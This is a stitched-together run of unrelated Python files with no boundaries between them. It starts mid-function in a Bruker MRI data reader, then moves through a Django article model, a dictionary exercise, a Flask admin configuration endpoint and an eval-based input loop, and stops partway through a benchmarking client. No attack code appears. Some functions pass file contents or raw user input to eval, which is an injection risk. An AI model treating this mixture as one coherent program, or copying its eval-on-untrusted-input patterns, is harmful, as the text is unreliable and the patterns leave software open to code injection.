    fileType = fileType[len(fileType)-1]

    with open(path) as paramFile:
        paramData = paramFile.read()

    ldr_sep, ldr_usr_sep, ldr_dict_sep = '##', '$', '='

    ldrs = [ldr for ldr in paramData.split(ldr_sep) if ldr]

    for ldr in ldrs:
        try:
            ldr_name, ldr_val = ldr.split(ldr_dict_sep)
        except:
            print('Parameter file line is immposible to process, program continues to run')
            print(ldr_dict_sep)
            continue

        ldr_val = parse_record(ldr_val)

        setattr(eval('dataobject.' + fileType + '2'),ldr_name,ldr_val)

    return

def readBrukerTrajFile(path,rawdataobject):
    """
    Function to read trajectory data. It saves trajectory data into rawdataobject.traj.data.

    Parameters
    ----------
    path
    rawdataobject

    Returns
    -------
    -
    """
    dimensions = 2
    projections_nr = rawdataobject.method.PVM_TrajIntAll
    samples_nr = rawdataobject.method.PVM_TrajSamples

    with open(path,"rb") as trajFile:
        rawTrajData = np.fromfile(trajFile,dtype='float64',count=-1)

    trajData = np.zeros((samples_nr, projections_nr, dimensions), dtype=rawTrajData.dtype)
    # x coordinates
    trajData [:,:,0] = np.reshape(rawTrajData[::2],(samples_nr, projections_nr),order='F')
     # y coordinates
    trajData [:,:,1] = np.reshape(rawTrajData[1::2],(samples_nr, projections_nr),order='F')

    return trajData

def readBrukerFidFile(path, dataObject):
    """
    Pvtools original algorithm to read and reshape fid data is used. It lacks some of the advanced functionality
    of the original code.

    The reading process is encapsulated so that it can be used for online data analysis.

    Parameters
    ----------
    path - path  to fid file
    dataObject - bruker scan object

    Returns
    -------
    dataOut - fid data in folloving shape [dimCh, dimAcq0. dimHigh]
    """

    # test the presence of all required parameters, get read essential parameters
    format, bits, dimBlock, dimZ, dimR, dimAcq0, dimAcqHigh, dimCh, dimA = fidBasicInfo(dataObject)

    # reading part
    with open(path,"rb") as fidFile:
        fidData = fidBasicRead(fidFile, format)

    # pv-tools like reshape
    dataOut = fidBasicReshape(fidData, dimBlock, dimZ, dimR, dimAcq0, dimAcqHigh, dimCh, dimA)

    return dataOut

def fidBasicInfo(dataObject):

    minCondition = ('GO_raw_data_format','BYTORDA','NI','NR','ACQ_size','GO_data_save','GO_block_size', 'AQ_mod');
    all_here = bruker_requires(dataObject, minCondition, 'acqp')
    if not all_here:
        print("ERROR: visu_pars file does not provide enough info")
        sys.exit(1)

    dimZ = dataObject.acqp.NI
    dimR = dataObject.acqp.NR
    dimAcqHigh = int(np.prod(dataObject.acqp.ACQ_size[1:]))
    dimAcq0 = dataObject.acqp.ACQ_size[0]
    dimCh = dataObject.getSelectedReceivers()
    acqp_BYTORDA = dataObject.acqp.BYTORDA
    acqp_GO_raw_data_format = dataObject.acqp.GO_raw_data_format
    acqp_GO_block_size = dataObject.acqp.GO_block_size
    method_Method = dataObject.method.Method
    # because of reading jobfiles
    if method_Method == 'PRESS':
        dimA = dataObject.method.PVM_NAverages
    else:
        dimA = 1

    #   get data type and number of bits
    if acqp_GO_raw_data_format == 'GO_32BIT_SGN_INT' and acqp_BYTORDA == 'little':
        format = np.dtype('i4').newbyteorder('<')
        bits = 32
    elif acqp_GO_raw_data_format == 'GO_16BIT_SGN_INT' and acqp_BYTORDA == 'little':
        format = np.dtype('i').newbyteorder('<')
        bits = 16
    elif acqp_GO_raw_data_format == 'GO_32BIT_FLOAT' and acqp_BYTORDA == 'little':
        format = np.dtype('f4').newbyteorder('<')
        bits = 32
    elif acqp_GO_raw_data_format == 'GO_32BIT_SGN_INT' and acqp_BYTORDA == 'big':
        format = np.dtype('i4').newbyteorder('>')
        bits = 32
    elif acqp_GO_raw_data_format == 'GO_16BIT_SGN_INT' and acqp_BYTORDA == 'big':
        format = np.dtype('i').newbyteorder('>')
        bits = 16
    elif acqp_GO_raw_data_format == 'GO_32BIT_FLOAT' and acqp_BYTORDA == 'big':
        format = np.dtype('f4').newbyteorder('>')
        bits = 32
    else:
        format = np.dtype('i4').newbyteorder('<')
        print('Data format not specified correctly, set to int32, little endian')
        bits = 32

    if acqp_GO_block_size == 'Standard_KBlock_Format':
        dimBlock = int(np.ceil(float(dimAcq0)*dimCh*(bits/8)/1024)*1024/(bits/8))
    else:
        dimBlock = dimAcq0 * dimCh

    return format, bits, dimBlock, dimZ, dimR, dimAcq0, dimAcqHigh, dimCh, dimA

def fidBasicReshape(fidData, dimBlock, dimZ, dimR, dimAcq0, dimAcqHigh, dimCh, dimA):

    if len(fidData) != dimBlock * dimAcqHigh * dimZ * dimR * dimA:
        print('Missmatch')

    fidData = np.reshape(fidData, (dimBlock, dimAcqHigh * dimZ * dimR));

    if dimBlock != dimAcq0 * dimCh:
        fidData = np.transpose(fidData, (1, 0))
        fidData = fidData[:, :(dimAcq0 * dimCh)]
        fidData = np.reshape(fidData, (dimAcqHigh * dimZ * dimR * dimA, dimAcq0, dimCh), order='F')
        fidData = np.transpose(fidData, (2, 1, 0))
    else:
        fidData = np.reshape(fidData, (dimAcq0, dimCh, dimAcqHigh * dimZ * dimR * dimA), order='F')
        fidData = np.transpose(fidData, (1, 0, 2))

    fidDataOut = fidData[:, 0::2, :] + 1j * fidData[:, 1::2, :]

    return fidDataOut

def fidBasicRead(fileObject, format, startRead=0, dimRead=-1):

    fileObject.seek(startRead)  # find the start position in the file

    fidData = np.fromfile(fileObject, dtype=format, count=dimRead) # read

    if dimRead == -1:
        return fidData
    else:
        endRead = fileObject.tell()
        return fidData, endRead

def readBruker2dseq(path, imagedataobject):
    """
    pvtools original function to read 2dseq data. It lacks some of the advanced functionality
    of the original function. At the end it saves read data into imagedataobject.data2seq.data.

    Parameters
    ----------
    path
    imagedataobject

    Returns
    -------

    """

    #   Test the presence of all required parameters in visu_pars
    minCondition = ('VisuCoreWordType', 'VisuCoreByteOrder', 'VisuCoreSize', 'VisuCoreFrameCount',
            'VisuCoreDataSlope', 'VisuCoreDataOffs','VisuCoreFrameType', 'VisuCoreDim', 'VisuCoreDimDesc')
    all_here = bruker_requires(imagedataobject, minCondition, 'visu_pars')
    if not all_here:
        print("ERROR: visu_pars file does not provide enough info")
        sys.exit(1)

    #   Transform used visu_pars variables to local variables
    VisuCoreWordType = imagedataobject.visu_pars.VisuCoreWordType
    VisuCoreByteOrder = imagedataobject.visu_pars.VisuCoreByteOrder
    VisuCoreSize = imagedataobject.visu_pars.VisuCoreSize
    VisuCoreDataSlope = imagedataobject.visu_pars.VisuCoreDataSlope
    VisuCoreDataOffs = imagedataobject.visu_pars.VisuCoreDataOffs
    VisuCoreFrameType = imagedataobject.visu_pars.VisuCoreFrameType
    VisuCoreDim = imagedataobject.visu_pars.VisuCoreDim
    VisuCoreDimDesc = imagedataobject.visu_pars.VisuCoreDimDesc
    NF = imagedataobject.visu_pars.VisuCoreFrameCount

    #   Get an idea about higher dim meaning
    if any('VisuFGOrderDesc' in s for s in dir(imagedataobject.visu_pars)) and \
        any('VisuFGOrderDescDim' in s for s in dir(imagedataobject.visu_pars)):
        VisuFGOrderDesc = imagedataobject.visu_pars.VisuFGOrderDesc
        VisuFGOrderDescDim = imagedataobject.visu_pars.VisuFGOrderDescDim

        for i in range (0,VisuFGOrderDescDim):
            if i is 0:
                dim5_n = np.zeros(1, dtype='i4', order='f')
                dim5_n[0] = VisuFGOrderDesc[0]
            else:
                dim5_n = np.append(dim5_n,VisuFGOrderDesc[5*i])

    #   get data type and number of bits
    if VisuCoreWordType == '_32BIT_SGN_INT':
        format = np.dtype('int32')
    elif VisuCoreWordType == '_16BIT_SGN_INT':
        format = np.dtype('int16')
    elif VisuCoreWordType == '_32BIT_FLOAT':
        format = np.dtype('float32')
    elif VisuCoreWordType == '_8BIT_USGN_INT':
        format = np.dtype('uint8')
    else:
        print('Data format not specified correctly!')

    if VisuCoreByteOrder == 'littleEndian':
        format = format.newbyteorder('L')
    elif VisuCoreWordType == 'bigEndian':
        format = format.newbyteorder('B')
    else:
        print('Byte order not specified correctly!')

    #   Read 2seq file ADD catch
    with open(path,"rb") as twodseqFile:
        twodseqData = np.fromfile(twodseqFile, dtype=format, count=-1)

    twodseqData = twodseqData.astype('f4') # so that it can be multiplyed by float slope
    twodseqData = np.reshape(twodseqData,(VisuCoreSize[0],-1),order='F')

    # Mapping data
    # to get the real values, we have to multiply with the slope-factor and
    # add the offset to the data
    slope = npml.repmat(VisuCoreDataSlope,1,np.prod(VisuCoreSize))
    slope = np.reshape(slope, twodseqData.shape, order='F')
    offset = npml.repmat(VisuCoreDataOffs,1,np.prod(VisuCoreSize))
    offset = np.reshape(offset, twodseqData.shape, order='F')

    twodseqData *= slope.astype('f4')
    twodseqData += offset.astype('f4')

    #   Pad VisuCoresize
    if VisuCoreDim is 1:    VisuCoreSize = np.append(VisuCoreSize,[1, 1, 1])
    elif VisuCoreDim is 2:  VisuCoreSize = np.append(VisuCoreSize,[1, 1])
    elif VisuCoreDim is 3:  VisuCoreSize = np.append(VisuCoreSize, 1)
    else:                   pass

    if 'dim5_n' in locals():
        twodseqData = np.reshape(twodseqData,np.append(VisuCoreSize, dim5_n),order='F')
        twodseqData = np.transpose(twodseqData, (1, 0, 2, 3, 4, 5))  # todo this is rather heuristic, but seems to work
    else:
        twodseqData = np.reshape(twodseqData,np.append(VisuCoreSize, NF),order='F')
        twodseqData = np.transpose(twodseqData, (1, 0, 2, 3, 4))  # todo this is rather heuristic, but seems to work

    return twodseqData

def bruker_requires(dataobject,minCondition, fileType ):
    """
    pvtools original function to control the presence of an essential parameters
    in a dataobject's parameter defined by fileType

    Parameters
    ----------
    dataobject
    minCondition (tuple of strings)
    fileType (string)

    Returns
    -------
    all_here (bool)
    """
    all_here = True
    for conditionElement in minCondition:
        condition = 'dataobject'+'.'+fileType+'.'+ conditionElement
        try:
            eval(condition)
        except AttributeError:
            print('ERROR: ', fileType,' file does not contain essential parameter: ',conditionElement)
            all_here = False
    return all_here

def fidHandle_UTE(rawdataobject):
    minCondition = ('NI',)
    all_here = bruker_requires(rawdataobject, minCondition, 'acqp')
    if not all_here:
        print("ERROR: acqp file does not provide enough info")
        sys.exit(1)
    slices_nr = rawdataobject.acqp.NI
    return

def fidHandle_FAIR_RARE(rawdataobject):
    """
    Description
    -----------
    Simple function to reshape fid data using prior knowledge about data storage.
    For FAIR_RARE sequence in this case. It is just a draft version so far, some
    improvements are to be made.

    Parameters
    ----------
    rawdataobject

    Returns
    -------
    -
    """

    minCondition = ('NR','ACQ_rare_factor')
    paramFile = 'acqp'
    all_here = bruker_requires(rawdataobject, minCondition, paramFile)
    if not all_here:
        print("ERROR: ", paramFile, " file does not provide enough info")
        sys.exit(1)

    # dataIn = rawdataobject.fid.data

    dataIn = rawdataobject.fid.data
    dataIn_type = dataIn.dtype  # so the data format is preserved

    #   Get dataOut dimension parameters, create dataOut np.array
    channels_nr = dataIn.shape[0]
    repetitions_nr = rawdataobject.acqp.NR     # just for the readability
    images_nr = rawdataobject.acqp.NI
    views_nr = rawdataobject.acqp.ACQ_rare_factor
    samples_nr = dataIn.shape[1]
    dataOut = np.zeros((channels_nr,repetitions_nr,views_nr,samples_nr),dataIn_type)
    if repetitions_nr > 1:
        for _repetition in range(0,repetitions_nr):
            dataOut[:,_repetition,:,:] = dataIn[:,:,_repetition*views_nr:(_repetition+1)*views_nr].transpose((0,2,1))

    rawdataobject.fid.data = dataOut    # replace
    return

def fidHandle_Epi(rawdataobject):
    """
    Ii is supposed to rearrange all fid data acquired by EPI based sequence,
    such as
    Parameters
    ----------
    rawdataobject

    Returns
    -------

    """
    # dataIn = rawdataobject.fid.data #todo delete once the new structures are implemented
    dataIn = rawdataobject.fid

    minCondition = ('NR','NI')
    all_here = bruker_requires(rawdataobject, minCondition, 'acqp')
    if not all_here:
        print("ERROR: acqp file does not provide enough info")
        sys.exit(1)

    minCondition = ('PVM_EncMatrix',)
    all_here = bruker_requires(rawdataobject, minCondition, 'method')
    if not all_here:
        print("ERROR: acqp file does not provide enough info")
        sys.exit(1)

    segments_nr = rawdataobject.method.NSegments

    try:
        lines_nr = rawdataobject.method.PVM_EpiMatrix[1]
        samples_nr = rawdataobject.method.PVM_EpiMatrix[0]
    except:
        lines_nr = rawdataobject.method.PVM_EncMatrix[1]
        samples_nr = rawdataobject.method.PVM_EncMatrix[0]

    linesSegment_nr = lines_nr // segments_nr
    numDataHighDim = dataIn.shape[2]
    receivers_nr = rawdataobject.getSelectedReceivers()

    # dataIn is supposed to be in the shape of [channels_nr, acq size[0], numhigh dim]
    dataIn = dataIn[:, -linesSegment_nr*samples_nr:, :] # to get rid of navigator data, if present

    dataOut = np.reshape(dataIn,(receivers_nr,linesSegment_nr, samples_nr, numDataHighDim),order='C') #todo why order='C'?

    del rawdataobject.fid
    setattr(rawdataobject,'fid',dataOut)

    return

def fidHandle_Flash(scan):

    dataIn = scan.fid

    dataDim = scan.method.PVM_Matrix
    NI = scan.acqp.NI
    NR = scan.acqp.NR
    numHighDim = NI*NR

    dataOut = np.reshape(dataIn,(dataDim[0], dataDim[1], numHighDim), order='C')

    scan.fid = None
    scan.fid = dataOut

    return

def fidHandle_PRESS(scan):

    dataIn = scan.fid
    scan.fid = None

    dims = dataIn.shape # [channels, xDimR, highDim]
    dataOut = np.zeros_like(dataIn)

    for _dim0 in range(dims[0]):
        for _dim2 in range(dims[2]):
            fid = mrs.phaseCorrect(mrs.removeGroupDelay(dataIn[_dim0, :, _dim2]))
            dataOut [_dim0, 0:len(fid) , _dim2] = fid

    scan.fid = dataOut

    return


from django.db import models
from django.conf import settings
from smedaily.common.models import TimeStampMixin

# Create your models here.
class Article(TimeStampMixin):
    """Article
    작성기"""
    title = models.CharField(max_length=200, help_text='제목')
    content = models.TextField(help_text='내용')
    stock = models.CharField(max_length=200, help_text='관련종목', blank=True, default=' ')
    writer = models.ForeignKey(
        settings.AUTH_USER_MODEL
        , on_delete=models.PROTECT
        , related_name='my_article'
        , to_field='username'
        , help_text='작성자'
    )
    proto = models.TextField(blank=True, default=' ', help_text='해당 프로토 아티클')
    relate_dart = models.TextField(blank=True, default=' ', help_text='관련자료 id. , 로 구분')

    class Meta:
        db_table = 'article_post'
        indexes = [
            models.Index(fields=['title'], name='article_post_title_idx')
        ]

    def __str__(self):
        return self.title


# _*_ coding:utf-8 _*_
# Author: Mxyzptlk
# Date: 2018-01-01

# create a dictionary
students = {"Alice": 24, "Bob": 26, "Clark": 23, "Dan": 28, "Emma": 31}
# add entry to a dictionary
students['Fred'] = 27
# alter an entry
students['Alice'] = 25
# delete entry
del students['Fred']

students2 = {
    "Alice": ['ID01', 24, 'A-'],
    "Bob": ['ID02', 26, 'B+'],
    "Clark": ['ID03', 23, 'B'],
    "Dan": {'id': 'ID04', 'age': 28, 'grade': 'A'},
}


# -*- coding: utf-8 -*-
"""
systemconfig.py
~~~~~~~~~~~~~~

this module handles the request from `system configuration tab` of `admin client`

"""
__author__ = 'Chongmyung Park (chongmyung.park@gmail.com)'

import datetime

from flask import request

from pyticas.tool import json
from pyticas_server import protocol as prot
from pyticas_tetres import api_urls_admin, cfg
from pyticas_tetres.admin_auth import requires_auth
from pyticas_tetres.da.actionlog import ActionLogDataAccess
from pyticas_tetres.da.config import ConfigDataAccess
from pyticas_tetres.db.tetres.model import Config
from pyticas_tetres.logger import getLogger
from pyticas_tetres.sched import scheduler, worker
from pyticas_tetres.ttypes import SystemConfigInfo
from pyticas_tetres.util import actionlog, systemconfig
from pyticas_tetres.systasks import actionlog_processor as actionlog_proc

def register_api(app):
    @app.route(api_urls_admin.SYSCFG_GET, methods=['GET', 'POST'])
    @requires_auth
    def tetres_syscfg_get():
        syscfg = systemconfig.get_system_config_info()
        return prot.response_success(obj=syscfg)

    @app.route(api_urls_admin.SYSCFG_UPDATE, methods=['POST'])
    @requires_auth
    def tetres_syscfg_update():
        cfginfo_json = request.form.get('cfg', None)
        if not cfginfo_json:
            return prot.response_invalid_request()

        cfginfo = json.loads(cfginfo_json, SystemConfigInfo)

        if not cfginfo or not isinstance(cfginfo, SystemConfigInfo):
            return prot.response_invalid_request()

        for k, v in cfginfo.__dict__.items():
            if k.startswith('_'):
                continue
            if v is None:
                return prot.response_invalid_request()

        prev_syscfg = systemconfig.set_system_config_info(cfginfo)
        if not prev_syscfg:
            return prot.response_fail('fail to update configuration')

        put_task_to_actionlog(prev_syscfg)

        return prot.response_success()

def put_task_to_actionlog(prev_syscfg):
    """

    :type prev_syscfg: pyticas_tetres.ttypes.SystemConfigInfo
    """
    da_config = ConfigDataAccess()
    syscfg = da_config.get_by_name(cfg.OPT_NAME_SYSCONFIG)
    if not syscfg:
        getLogger(__name__).warning('Cannot find the updated system configuration from `config` table')
        da_config.close_session()
        return

    should_run_actionlog_handler = False
    da_actionlog = ActionLogDataAccess()

    is_data_archive_start_year_extended = False
    is_data_archive_start_year_shrinked = False

    if cfg.DATA_ARCHIVE_START_YEAR != prev_syscfg.data_archive_start_year:
        if cfg.DATA_ARCHIVE_START_YEAR < prev_syscfg.data_archive_start_year:
            is_data_archive_start_year_extended = True
        elif cfg.DATA_ARCHIVE_START_YEAR > prev_syscfg.data_archive_start_year:
            is_data_archive_start_year_shrinked = True

    # cancled already posted action logs
    if is_data_archive_start_year_shrinked or is_data_archive_start_year_extended:
        ex_logs = da_actionlog.search(
            searches=[('target_datatype', ActionLogDataAccess.DT_SYSTEMCONFIG), ('handled', False)],
            op='and',
            cond='match',
            as_model=True)
        for a_log in ex_logs:
            a_log.handled = True
            a_log.handled_date = datetime.datetime.now()
            a_log.status = 'Cancled due to another action'
            a_log.status_updated_date = datetime.datetime.now()

        da_actionlog.commit()

    if is_data_archive_start_year_extended:
        should_run_actionlog_handler = True
        actionlog.add(ActionLogDataAccess.UPDATE,
                      ActionLogDataAccess.DT_SYSTEMCONFIG,
                      Config.__tablename__,
                      syscfg.id,
                      'DATA_ARCHIVE_START_YEAR_EXTENDED: %d -> %d' % (
                          prev_syscfg.data_archive_start_year, cfg.DATA_ARCHIVE_START_YEAR),
                      handled=False)

    elif is_data_archive_start_year_shrinked:
        # add log for re-calculation
        should_run_actionlog_handler = True
        actionlog.add(ActionLogDataAccess.UPDATE,
                      ActionLogDataAccess.DT_SYSTEMCONFIG,
                      Config.__tablename__,
                      syscfg.id,
                      'DATA_ARCHIVE_START_YEAR_SHRINKED: %d -> %d' % (
                          prev_syscfg.data_archive_start_year, cfg.DATA_ARCHIVE_START_YEAR),
                      handled=False)

    if (cfg.INCIDENT_DOWNSTREAM_DISTANCE_LIMIT != prev_syscfg.incident_downstream_distance_limit
            or cfg.INCIDENT_UPSTREAM_DISTANCE_LIMIT != prev_syscfg.incident_upstream_distance_limit):
        should_run_actionlog_handler = True
        actionlog.add(ActionLogDataAccess.UPDATE,
                      ActionLogDataAccess.DT_SYSTEMCONFIG,
                      Config.__tablename__,
                      syscfg.id,
                      ActionLogDataAccess.DT_INCIDENT,
                      handled=False)

    if (cfg.WZ_DOWNSTREAM_DISTANCE_LIMIT != prev_syscfg.workzone_downstream_distance_limit
            or cfg.WZ_UPSTREAM_DISTANCE_LIMIT != prev_syscfg.workzone_upstream_distance_limit):
        should_run_actionlog_handler = True
        actionlog.add(ActionLogDataAccess.UPDATE,
                      ActionLogDataAccess.DT_SYSTEMCONFIG,
                      Config.__tablename__,
                      syscfg.id,
                      ActionLogDataAccess.DT_WORKZONE,
                      handled=False)

    if (cfg.SE_ARRIVAL_WINDOW != prev_syscfg.specialevent_arrival_window
            or cfg.SE_DEPARTURE_WINDOW1 != prev_syscfg.specialevent_departure_window1
            or cfg.SE_DEPARTURE_WINDOW2 != prev_syscfg.specialevent_departure_window2):
        should_run_actionlog_handler = True
        actionlog.add(ActionLogDataAccess.UPDATE,
                      ActionLogDataAccess.DT_SYSTEMCONFIG,
                      Config.__tablename__,
                      syscfg.id,
                      ActionLogDataAccess.DT_SPECIALEVENT,
                      handled=False)

    # restart scheduler
    if (cfg.DAILY_JOB_START_TIME != prev_syscfg.daily_job_start_time
            or cfg.DAILY_JOB_OFFSET_DAYS != prev_syscfg.daily_job_offset_days
            or cfg.WEEKLY_JOB_START_WEEKDAY != prev_syscfg.weekly_job_start_day
            or cfg.WEEKLY_JOB_START_TIME != prev_syscfg.weekly_job_start_time
            or cfg.MONTHLY_JOB_START_DAY != prev_syscfg.monthly_job_start_date
            or cfg.MONTHLY_JOB_START_TIME != prev_syscfg.monthly_job_start_time):
        scheduler.restart()

        if cfg.DAILY_JOB_START_TIME != prev_syscfg.daily_job_start_time:
            actionlog.add(ActionLogDataAccess.UPDATE,
                          ActionLogDataAccess.DT_SYSTEMCONFIG,
                          Config.__tablename__,
                          syscfg.id,
                          'DAILY_JOB_START_TIME is updated : %s -> %s' % (
                          prev_syscfg.daily_job_start_time, cfg.DAILY_JOB_START_TIME),
                          handled=True)

        if cfg.DAILY_JOB_OFFSET_DAYS != prev_syscfg.daily_job_offset_days:
            actionlog.add(ActionLogDataAccess.UPDATE,
                          ActionLogDataAccess.DT_SYSTEMCONFIG,
                          Config.__tablename__,
                          syscfg.id,
                          'DAILY_JOB_OFFSET_DAYS is updated: %s -> %s' % (
                          prev_syscfg.daily_job_offset_days, cfg.DAILY_JOB_OFFSET_DAYS),
                          handled=True)

        if cfg.WEEKLY_JOB_START_WEEKDAY != prev_syscfg.weekly_job_start_day:
            actionlog.add(ActionLogDataAccess.UPDATE,
                          ActionLogDataAccess.DT_SYSTEMCONFIG,
                          Config.__tablename__,
                          syscfg.id,
                          'WEEKLY_JOB_START_WEEKDAY is updated: %s -> %s' % (
                          prev_syscfg.weekly_job_start_day, cfg.WEEKLY_JOB_START_WEEKDAY),
                          handled=True)

        if cfg.WEEKLY_JOB_START_TIME != prev_syscfg.weekly_job_start_time:
            actionlog.add(ActionLogDataAccess.UPDATE,
                          ActionLogDataAccess.DT_SYSTEMCONFIG,
                          Config.__tablename__,
                          syscfg.id,
                          'WEEKLY_JOB_START_TIME is updated: %s -> %s' % (
                          prev_syscfg.weekly_job_start_time, cfg.WEEKLY_JOB_START_TIME),
                          handled=True)

        if cfg.MONTHLY_JOB_START_DAY != prev_syscfg.monthly_job_start_date:
            actionlog.add(ActionLogDataAccess.UPDATE,
                          ActionLogDataAccess.DT_SYSTEMCONFIG,
                          Config.__tablename__,
                          syscfg.id,
                          'MONTHLY_JOB_START_DAY is updated: %s -> %s' % (
                          prev_syscfg.monthly_job_start_date, cfg.MONTHLY_JOB_START_DAY),
                          handled=True)

        if cfg.MONTHLY_JOB_START_TIME != prev_syscfg.monthly_job_start_time:
            actionlog.add(ActionLogDataAccess.UPDATE,
                          ActionLogDataAccess.DT_SYSTEMCONFIG,
                          Config.__tablename__,
                          syscfg.id,
                          'MONTHLY_JOB_START_TIME is updated: %s -> %s' % (
                          prev_syscfg.monthly_job_start_time, cfg.MONTHLY_JOB_START_TIME),
                          handled=True)

    if not should_run_actionlog_handler:
        unhandled = da_actionlog.list(target_datatypes=[ActionLogDataAccess.DT_SYSTEMCONFIG], handled=False)
        if unhandled:
            should_run_actionlog_handler = True

    da_actionlog.close_session()
    da_config.close_session()

    # add actionlog handler to the task queue in the worker process
    if should_run_actionlog_handler:
        getLogger(__name__).debug('System configurations are updated and the handler process is posted')
        worker.add_task(actionlog_proc.run)
    else:
        getLogger(__name__).debug('System configurations are updated and the handler process is NOT posted')


# Write a function called eval_loop that iteratively prompts the user, takes the resulting input and
# evaluates it using eval, and prints the result.
# It should continue until the user enters 'done', and then return the value of the last expression it
# evaluated.
answer = 0
def eval_loop():
    global answer

    while True:
        text = input("Enter done when finished\n")
        print(text)
        if text == "done":
            break
        answer = eval(text)
        print(answer)
eval_loop()
print("Thank you. Your last result is ", answer)


import time
import random
import os
import logging
import hashlib
import json
import glob
import shutil
import argparse
from string import ascii_lowercase
from functools import wraps
from copy import deepcopy
from jinja2 import Environment, FileSystemLoader
from plotly.offline import plot

# Tools
from shared_tools import restore, get_resource_as_string, MainAPIClient, chown_files_in_dir
# from shared_tools import export_plot
from tools.initial_config import load_experiment_description
from logger.default_logger import BRISELogConfigurator

# Plots
from plots.table import table
from plots.repeat_vs_avg import repeat_vs_avg
from plots.improvements import improvements
from plots.box_statistic import box_statistic
from plots.exp_config import exp_description_highlight

# Configuring logging
BRISELogConfigurator()

def build_benchmark_report():
    """ Generate report files from the Experiment class instances.
    """
    folder_with_dumps = './results/serialized/'
    # Container creation performs --volume on `./results/` folder. Change wisely folder_with_resport.
    folder_with_resport = './results/reports/'

    # ------- List with name experiment instances. Default from ./results/serialized/ folder
    experiment_dumps = [f for f in os.listdir(folder_with_dumps) if (f[-4:] == '.pkl')]
    # -------
    logger = logging.getLogger(__name__)
    if experiment_dumps:
        logger.info("Selected Experiment dumps for report: %s" % experiment_dumps)
    else:
        logger.error("Directory '%s' is empty. Terminating." % folder_with_dumps)
        return

    # --- Generate template
    file_loader = FileSystemLoader("./templates")
    env = Environment(loader=file_loader)
    env.globals['get_resource_as_string'] = get_resource_as_string
    template = env.get_template('index.html')

    # --- Restore experiments for benchmarking
    exp_list = restore(*experiment_dumps)

    # --- Generate plot's hooks
    tab = plot(table(exp_list), include_plotlyjs=False, output_type='div')
    impr = plot(improvements(exp_list),
                include_plotlyjs=False,
                output_type='div')
    all_results = plot(box_statistic(exp_list),
                       include_plotlyjs=False,
                       output_type='div')
    rep = ' '.join(plot(repeat_vs_avg(exp), include_plotlyjs=False,
                        output_type='div') for exp in exp_list)
    time_mark = time.strftime('%Y-%m-%d %A', time.localtime())

    # Compose HTML
    html = template.render(
        table=tab,
        impr=impr,
        repeat_vs_avg=rep,
        box_plot=all_results,
        time=time_mark,
        print_config=exp_description_highlight(exp_list)
    )

    # --- Save results
    # Write HTML report
    suffix = ''.join(random.choice(ascii_lowercase) for _ in range(10))
    with open("{}report_{}.html".format(folder_with_resport, suffix), "w", encoding='utf-8') as outf:
        outf.write(html)

    # # Export plots
    # for plt in [table(exp_list), improvements(exp_list), box_statistic(exp_list)]:
    #     export_plot(plot=plt, wight=1200, height=600)

    # Using a host machine User ID to change the owner for the files(initially, the owner was a root).
    chown_files_in_dir(folder_with_resport)

class BRISEBenchmark:
    """
       Class for building and running the benchmarking scenarios.
    """

    def __init__(self, main_api_addr: str, results_storage: str):
        """
            Initializes benchmarking client.
        :param main_api_addr: str. URL of main node API. For example "http://main-node:49152"
        :param results_storage: str. Folder where to store benchmark results (dump files of experiments).
        """
        os.sys.argv.pop()   # Because load_experiment_description will consider 'benchmark' as Experiment Description).
        self._base_experiment_description = load_experiment_description("./Resources/SA/SAExperiment.json")
        self.results_storage = results_storage if results_storage[-1] == "/" else results_storage  + "/"
        self.main_api_client = MainAPIClient(main_api_addr, dump_storage=results_storage)
        self.logger = logging.getLogger(__name__)
        self.counter = 1
        self.experiments_to_be_performed = []   # List of experiment IDs
        self.is_calculating_number_of_experiments = False

    @property
    def base_experiment_description(self):
        return deepcopy(self._base_experiment_description)

    @base_experiment_description.setter
    def base_experiment_description(self, description):
        if not self._base_experiment_description:
            self._base_experiment_description = deepcopy(description)
        else:
            self.logger.error("Unable to update Experiment Description: Read-only property.")

    def benchmarkable(benchmarking_function):
        """
            Decorator that enables a pre calculation of a number of experiments in implemented benchmark scenario
            without actually running them. It is not essential for benchmarking, but could be useful.
        :return: original function, wrapped by wrapper.
        """
        @wraps(benchmarking_function)
        def wrapper(self, *args, **kwargs):
            logging.info("Calculating number of Experiments to perform during benchmark.")
            self.is_calculating_number_of_experiments = True
            logging_level = self.logger.level
            self.logger.setLevel(logging.WARNING)
            benchmarking_function(self, *args, *kwargs)
            self.logger.setLevel(logging_level)
            logging.info("Benchmark is going to run %s unique Experiments (please, take into account also the repetitions)."
                         % len(self.experiments_to_be_performed))
            self.is_calculating_number_of_experiments = False
            benchmarking_function(self, *args, *kwargs)
        return wrapper

    def execute_experiment(self, experiment_description: dict, number_of_repetitions: int = 3, wait_for_results: int=30*60):
        """
             Check how many dumps are available for particular Experiment Description.

         :param experiment_description: Dict. Experiment Description
         :param number_of_repetitions: int. number of times to execute the same Experiment.
         :param wait_for_results:
            If bool ``False`` - client will only send an Experiment Description and return response with
                                the Main node status.
            If bool ``True`` was specified - client will wait until the end of the Experiment.

            If numeric value (int or float) were specified - client will wait specified amount of time (in seconds),
            after elapsing - ``main_stop`` command will be sent to terminate the Main node, current state of Experiment
            will be reported be main node and saved by benchmark.

         :return: int. Number of times experiment dump was found in a storage.
        """
        experiment_id = hashlib.sha1(json.dumps(experiment_description, sort_keys=True).encode("utf-8")).hexdigest()
        dump_file_name = "exp_{0}_{1}".format(
            experiment_description['TaskConfiguration']['Scenario']["ws_file"], experiment_id)
        if self.is_calculating_number_of_experiments:
            self.experiments_to_be_performed.append(experiment_id)
        else:
            number_of_available_repetitions = sum(dump_file_name in file for file in os.listdir(self.results_storage))
            while number_of_available_repetitions < number_of_repetitions:
                if self.main_api_client.perform_experiment(experiment_description, wait_for_results=wait_for_results):
                    number_of_available_repetitions += 1
                    self.logger.info("Executed Experiment #{c} out of {m_c}. ID: {eid}. Repetition: {r}.".format(
                            c=self.counter,
                            m_c=len(self.experiments_to_be_performed) * number_of_repetitions,
                            eid=experiment_id,
                            r=number_of_available_repetitions
                        )
                    )
                    self.counter += 1
            return number_of_repetitions

    def move_redundant_experiments(self, location: str):
        """
            Move all experiment dumps that are not part of current benchmark to separate 'location' folder.
        :param location: (str). Folder path where redundant experiment dumps will be stored.
        """
        os.makedirs(location, exist_ok=True)

        # Mark what to move
        redundant_experiment_files = glob.glob(self.results_storage + "*.pkl")
        for experiment_id in self.experiments_to_be_performed:
            for file in redundant_experiment_files:
                if experiment_id in file:
                    redundant_experiment_files.remove(file)

        # Move
        for file in redundant_experiment_files:
            shutil.move(file, location + os.path.basename(file))

    @benchmarkable
    def benchmark_repeater(self):
        """
            This is an EXAMPLE of the benchmark scenario.

